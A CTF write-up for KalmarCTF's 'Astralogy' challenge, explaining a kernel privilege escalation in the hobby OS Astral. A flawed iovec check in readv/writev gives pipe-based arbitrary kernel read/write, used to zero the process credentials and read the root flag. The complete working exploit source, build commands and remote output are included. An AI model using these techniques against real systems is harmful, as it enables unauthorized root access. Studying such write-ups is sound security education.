Writeup
KalmarCTF Astralogy — Writeup
Heyy :))) so this is my first time solving a kernel exploitation ( btw it is not 100% human solve i get important exploit parts using ai since I’m not familiar with kernel exploitation let’s move to the writeup rn )
Astralogy — writeup
This writeup explains Astralogy in plain language so the full exploit path is easy to follow. The challenge gives us a hobby operating system named Astral, boots it inside QEMU, copies our uploaded block device to /home/astral/exploit, and expects us to break out of the unprivileged astral user and read /root/flag.txt.
The final exploit is not a ROP chain, not a shellcode trick, and not a race. It is a data-only kernel exploit:
- find a kernel arbitrary read/write primitive
- locate the current process credentials
- zero the six credential integers
- open
/root/flag.txtas root
Because the kernel was compiled at fixed addresses and the VM only uses one CPU, that ended up being enough.
TL;DR (short summary)
- The obvious
pread/pwritekernel-pointer bug was already patched by the challenge author. - The real bug is in Astral’s
readvandwritevpath. iovec_user_check()validates the wrong length field, so if the first iovec has length0, later iovecs are never checked.- The iterator code then treats kernel addresses as safe and falls back to raw
memcpy. - That gives arbitrary kernel read and arbitrary kernel write using a pipe.
- Astral has no KASLR here, and the VM is single-core.
- Reading
bsp_cpu.threadgives the current thread pointer. - From there:
thread->procis at offset48proc->credis at offset52cred_tis sixints, so 24 bytes total
- Zeroing those 24 bytes turns the current process into uid 0 / gid 0.
- Then opening
/root/flag.txtsucceeds.
Final flag:
kalmar{more_holes_than_swiss_cheese..._feel_free_to_share_your_exploit_in_a_ticket!}
Part 1 — The challenge setup
The local wrapper looked like this:
qemu-system-x86_64 \ -M q35 \ -m 256M \ -smp cpus=1 \ -cpu qemu64,+smep -enable-kvm \ -cdrom challenge.iso -boot dc \ -drive file="$exploit",format=raw,read-only,if=none,id=nvme \ -device virtio-blk,serial=deadc0ff,drive=nvme \ -nographic -monitor noneImportant details:
-smp cpus=1means there is only one CPU.+smepmeans “jump to userland from kernel mode” is off the table.- Our payload is not executed directly by QEMU. It is exposed as a block device.
Inside the initrd, /etc/rc does this:
if [ -b /dev/vioblk0 ]; then cp /dev/vioblk0 /home/astral/exploit chown astral:astral /home/astral/exploit chmod +x /home/astral/exploitfiSo the service flow is:
- Upload a raw image.
- Astral copies that raw device to
/home/astral/exploit. - We log in as
astral. - We run
./exploit.
That means our payload should be a small static ELF inside a raw file, not a Linux userspace exploit that expects a full runtime.
Part 2 — The first clue: the challenge includes a hardening patch
The shipped hardening.patch tells you what the easy bug used to be.
It does three interesting things:
- It adds explicit user-pointer checks to
syscall_pread()andsyscall_pwrite(). - It enables SMEP by adding
0x100000to CR4 setup. - It clears DF on syscall entry.
The first point matters most. Before the patch, pread and pwrite forwarded the user pointer directly into the VFS layer without checking whether it really pointed into userspace. That would have been a trivial kernel read/write.
So the patch is effectively telling you:
- “yes, there used to be a direct kernel pointer bug”
- “no, you do not get to use it anymore”
- “find the next user/kernel boundary mistake”
That pushed the analysis toward syscalls and device code that move user buffers around in more complex ways.
Part 3 — The real bug: readv / writev
Astral’s syscall_readv() and syscall_writev() copy the iovec array into kernel memory and then call iovec_user_check():
bool iovec_user_check(iovec_t *iovec, size_t count) { for (int i = 0; i < count; ++i) { // POSIX says that when len is zero, the addr can be an invalid buffer if (iovec->len && IS_USER_ADDRESS(iovec[i].addr) == false) return false; }
return true;}The bug is subtle but deadly:
- the code should check
iovec[i].len - instead it checks
iovec->len, which isiovec[0].len
So the first entry controls validation for the whole array.
If we make the first entry:
iov[0].len = 0;then the condition is false for every loop iteration, which means:
- entry 0 is accepted
- entry 1 is accepted
- entry 2 is accepted
- every later entry is accepted
even if those entries point into kernel memory.
That is the bug.
Part 4 — Why this becomes arbitrary kernel read/write
The next step is understanding how Astral copies data through iovecs.
The relevant helper macros are:
#define USERCOPY_POSSIBLY_FROM_USER(kernel, user, size) \ (IS_USER_ADDRESS(user) ? usercopy_fromuser(kernel, user, size) : _usercopy_memcpy_wrapper(kernel, user, size))
#define USERCOPY_POSSIBLY_TO_USER(user, kernel, size) \ (IS_USER_ADDRESS(user) ? usercopy_touser(user, kernel, size) : _usercopy_memcpy_wrapper(user, kernel, size))This is the key design mistake:
- if the pointer looks like a userspace pointer, Astral uses fault-safe usercopy helpers
- if the pointer does not look like a userspace pointer, Astral falls back to plain
memcpy
That only makes sense if the caller already proved that the pointer is trusted kernel memory.
Here, because iovec_user_check() can be bypassed, untrusted user-controlled pointers reach this code.
Now look at the iterator helpers:
error = USERCOPY_POSSIBLY_FROM_USER( (void *)((uintptr_t)buffer + total_done), (void *)((uintptr_t)iovec_iterator->current->addr + iovec_iterator->current_offset), copy_current);and:
error = USERCOPY_POSSIBLY_FROM_USER( (void *)((uintptr_t)iovec_iterator->current->addr + iovec_iterator->current_offset), (void *)((uintptr_t)buffer + total_done), copy_current);So:
writev()can copy from our iovec entry into some kernel-controlled bufferreadv()can copy from some kernel-controlled buffer into our iovec entry
If the iovec entry is a kernel pointer, those become raw kernel memory operations.
Part 5 — Building a stable primitive with a pipe
A pipe is the simplest way to turn that into something reliable.
Why a pipe?
- no filesystem offsets to manage
- easy byte buffering
- the VFS path goes through the buggy iovec iterators
- the data flow is very simple
The plan is:
- create a pipe
- use
writev(pipe_write, iov, 2)withiov[1].addr = kernel_address - the pipe’s write side copies from that kernel address into the pipe ringbuffer
- call
read(pipe_read, out, len)to receive the leaked bytes in normal userspace
That is arbitrary kernel read.
For arbitrary kernel write:
- write our chosen bytes into the pipe using normal
write(pipe_write, src, len) - use
readv(pipe_read, iov, 2)withiov[1].addr = kernel_address - the pipe’s read side copies from the pipe ringbuffer into that kernel address
That is arbitrary kernel write.
So the exploit helpers become:
kread(addr, out, len)kwrite(addr, src, len)
implemented with:
writev+readfor readswrite+readvfor writes
The zero-length first iovec is just the gate that disables validation:
iov[0].addr = (void *)0x1337000;iov[0].len = 0;iov[1].addr = (void *)kernel_address;iov[1].len = len;Entry 0 can point anywhere because POSIX allows invalid addresses for zero-length iovecs. Astral even tries to support that. The problem is that Astral accidentally lets that exception disable checks for later entries too.
Part 6 — Finding the current process
Once arbitrary kernel read/write exists, the rest is mostly bookkeeping.
First, I checked the kernel binary:
- it is a fixed-address
ET_EXEC - no KASLR was involved here
- symbols were present
That means important globals can be used directly.
The easiest anchor was:
ffffffff800b2de0 b bsp_cpuAstral’s cpu_t starts like this:
typedef struct cpu_t { thread_t *thread; struct cpu_t *self; vmmcontext_t *vmmctx; ...} cpu_t;So at bsp_cpu + 0, the kernel stores the current thread pointer for the bootstrap CPU.
Because the VM uses only one CPU, bsp_cpu.thread is exactly the current thread we care about.
Then the structure offsets are:
thread->proc @ offset 48proc->cred @ offset 52cred_t size = 24 bytescred_t itself is:
typedef struct { int uid, euid, suid; int gid, egid, sgid;} cred_t;And Astral treats uid 0 / gid 0 as superuser:
#define CRED_SUPERUSER 0So we do not need to patch function pointers, syscall tables, or code pages. We just write 24 zero bytes to:
proc + 52After that, the current process is root.
That cleanly avoids SMEP:
- no kernel PC control
- no userland execution in ring 0
- only data corruption
Part 7 — Small but important Astral-specific quirks
There were two non-Linux details that mattered while turning the primitive into a reliable solve.
7.1 pipe2 does not behave like Linux
On Linux, pipe2(int pipefd[2], int flags) writes the two FDs to a user buffer.
Astral does not do that.
Its syscall implementation is:
syscallret_t syscall_pipe2(context_t *, int flags) { ... ret.ret = (uint64_t)readfd | ((uint64_t)writefd << 32); return ret;}So the two file descriptors are packed into rax.
That means the exploit has to decode them like this:
pipefd[0] = (int)(ret.ret & 0xffffffffUL);pipefd[1] = (int)((ret.ret >> 32) & 0xffffffffUL);My first exploit attempt assumed Linux semantics and failed immediately.
7.2 The uploaded payload should be padded as a raw image
The remote service asks for a URL, downloads the file, and exposes it as a raw block device.
In practice, padding the image made the transport reliable:
cp exploit exploit.imgtruncate -s 12288 exploit.imgThen Astral copied /dev/vioblk0 to /home/astral/exploit correctly and the guest file had the expected size.
Without that padding, the copied guest file was not reliable enough for exploitation.
Part 8 — Full exploit code
This is the exploit I used. It is intentionally tiny:
- no libc
- raw Astral syscalls
- pipe-based
kread/kwrite - credential overwrite
- open and print the flag
#define NULL ((void *)0)
typedef unsigned long size_t;typedef unsigned long uint64_t;typedef long int64_t;
typedef struct { void *addr; size_t len;} iovec_t;
typedef struct { long ret; long err;} syscallret_t;
enum { SYS_OPENAT = 2, SYS_READ = 3, SYS_CLOSE = 5, SYS_WRITE = 7, SYS_EXIT = 13, SYS_PIPE2 = 22, SYS_WRITEV = 97, SYS_READV = 98,};
#define AT_FDCWD (-100)#define O_RDONLY 0
#define STDOUT_FILENO 1#define STDERR_FILENO 2
#define BSP_CPU_ADDR 0xffffffff800b2de0UL#define THREAD_PROC_OFF 48UL#define PROC_CRED_OFF 52UL#define CRED_SIZE 24UL
static inline syscallret_t syscall6(long nr, long a1, long a2, long a3, long a4, long a5, long a6) { register long rax asm("rax") = nr; register long rdi asm("rdi") = a1; register long rsi asm("rsi") = a2; register long rdx asm("rdx") = a3; register long r10 asm("r10") = a4; register long r8 asm("r8") = a5; register long r9 asm("r9") = a6;
asm volatile( "syscall" : "+a"(rax), "+d"(rdx) : "D"(rdi), "S"(rsi), "r"(r10), "r"(r8), "r"(r9) : "rcx", "r11", "memory" );
syscallret_t out = { .ret = rax, .err = rdx, }; return out;}
static inline syscallret_t syscall3(long nr, long a1, long a2, long a3) { return syscall6(nr, a1, a2, a3, 0, 0, 0);}
static inline syscallret_t syscall1(long nr, long a1) { return syscall6(nr, a1, 0, 0, 0, 0, 0);}
static inline syscallret_t sys_openat(long dirfd, const char *path, long flags, long mode) { return syscall6(SYS_OPENAT, dirfd, (long)path, flags, mode, 0, 0);}
static inline syscallret_t sys_read(long fd, void *buf, long count) { return syscall3(SYS_READ, fd, (long)buf, count);}
static inline syscallret_t sys_write(long fd, const void *buf, long count) { return syscall3(SYS_WRITE, fd, (long)buf, count);}
static inline syscallret_t sys_close(long fd) { return syscall1(SYS_CLOSE, fd);}
static inline syscallret_t sys_pipe2(long flags) { return syscall1(SYS_PIPE2, flags);}
static inline syscallret_t sys_writev(long fd, const iovec_t *iov, long count) { return syscall3(SYS_WRITEV, fd, (long)iov, count);}
static inline syscallret_t sys_readv(long fd, const iovec_t *iov, long count) { return syscall3(SYS_READV, fd, (long)iov, count);}
__attribute__((noreturn))static inline void sys_exit(long status) { (void)syscall1(SYS_EXIT, status); for (;;) asm volatile("hlt");}
static size_t cstrlen(const char *s) { size_t n = 0; while (s[n] != '\0') n++; return n;}
static void write_all(int fd, const void *buf, size_t len) { const char *p = (const char *)buf; while (len) { syscallret_t ret = sys_write(fd, p, len); if (ret.ret <= 0) sys_exit(1); p += ret.ret; len -= (size_t)ret.ret; }}
static void puts2(const char *s) { write_all(STDERR_FILENO, s, cstrlen(s));}
static void puthex64(uint64_t value) { static const char digits[] = "0123456789abcdef"; char buf[19]; buf[0] = '0'; buf[1] = 'x'; for (int i = 0; i < 16; i++) buf[2 + i] = digits[(value >> (4 * (15 - i))) & 0xf]; buf[18] = '\n'; write_all(STDERR_FILENO, buf, sizeof(buf));}
static void leak_into(int read_end, int write_end, uint64_t kaddr, void *out, size_t len) { iovec_t iov[2];
iov[0].addr = (void *)0x1337000; iov[0].len = 0; iov[1].addr = (void *)kaddr; iov[1].len = len;
syscallret_t ret = sys_writev(write_end, iov, 2); if (ret.ret != (long)len || ret.err != 0) sys_exit(2);
ret = sys_read(read_end, out, len); if (ret.ret != (long)len || ret.err != 0) sys_exit(3);}
static void write_from(int read_end, int write_end, uint64_t kaddr, const void *src, size_t len) { iovec_t iov[2];
syscallret_t ret = sys_write(write_end, src, len); if (ret.ret != (long)len || ret.err != 0) sys_exit(4);
iov[0].addr = (void *)0x1337000; iov[0].len = 0; iov[1].addr = (void *)kaddr; iov[1].len = len;
ret = sys_readv(read_end, iov, 2); if (ret.ret != (long)len || ret.err != 0) sys_exit(5);}
static uint64_t load_u64(const unsigned char *buf) { uint64_t out = 0; for (int i = 7; i >= 0; i--) { out <<= 8; out |= buf[i]; } return out;}
void _start(void) { int pipefd[2]; unsigned char scratch[32]; unsigned char zeroes[CRED_SIZE];
puts2("start\n");
for (size_t i = 0; i < sizeof(zeroes); i++) zeroes[i] = 0;
syscallret_t ret = sys_pipe2(0); if (ret.ret < 0 || ret.err != 0) sys_exit(10); pipefd[0] = (int)(ret.ret & 0xffffffffUL); pipefd[1] = (int)((ret.ret >> 32) & 0xffffffffUL); puts2("pipe ok\n");
leak_into(pipefd[0], pipefd[1], BSP_CPU_ADDR, scratch, 8); uint64_t thread = load_u64(scratch); puts2("thread leaked\n");
leak_into(pipefd[0], pipefd[1], thread + THREAD_PROC_OFF, scratch, 8); uint64_t proc = load_u64(scratch); puts2("proc leaked\n");
write_from(pipefd[0], pipefd[1], proc + PROC_CRED_OFF, zeroes, sizeof(zeroes)); puts2("cred written\n");
puts2("thread="); puthex64(thread); puts2("proc="); puthex64(proc);
ret = sys_close(pipefd[0]); if (ret.ret != 0 || ret.err != 0) sys_exit(11); ret = sys_close(pipefd[1]); if (ret.ret != 0 || ret.err != 0) sys_exit(12);
ret = sys_openat(AT_FDCWD, "/root/flag.txt", O_RDONLY, 0); if (ret.ret < 0 || ret.err != 0) sys_exit(13); puts2("flag opened\n");
int fd = (int)ret.ret; for (;;) { ret = sys_read(fd, scratch, sizeof(scratch)); if (ret.err != 0) sys_exit(14); if (ret.ret == 0) break; write_all(STDOUT_FILENO, scratch, (size_t)ret.ret); }
(void)sys_close(fd); sys_exit(0);}Part 9 — Building and running it
I built the payload as a tiny static ELF with no libc:
cc -nostdlib -static -fno-pie -no-pie -fno-stack-protector -fno-builtin \ -Wl,--build-id=none -Os exploit.c -o exploitThen I wrapped it into a padded raw image:
cp exploit exploit.imgtruncate -s 12288 exploit.imgRemote solve flow:
- connect with
nc - solve the hashcash challenge
- send a URL hosting
exploit.img - wait for Astral to boot
- run:
./exploitRemote output:
startpipe okthread leakedproc leakedcred writtenthread=0xffff800020c06b30proc=0xffff800020c39b40flag openedkalmar{more_holes_than_swiss_cheese..._feel_free_to_share_your_exploit_in_a_ticket!}Last Part — Recap about how we solve it
- The patch removed the easy
pread/pwriteprimitive. readv/writevstill had a validation bug.- A zero-length first iovec disabled checks for all later iovecs.
- The iovec copy helpers treated kernel pointers as plain
memcpytargets. - A pipe converted that into kernel arbitrary read/write.
- Fixed kernel addresses and one CPU made the current thread easy to find.
- Overwriting
proc->credwith zeroes made the process root. - Reading
/root/flag.txtfinished the challenge.
Final note and flag
Recovered flag:
kalmar{more_holes_than_swiss_cheese..._feel_free_to_share_your_exploit_in_a_ticket!}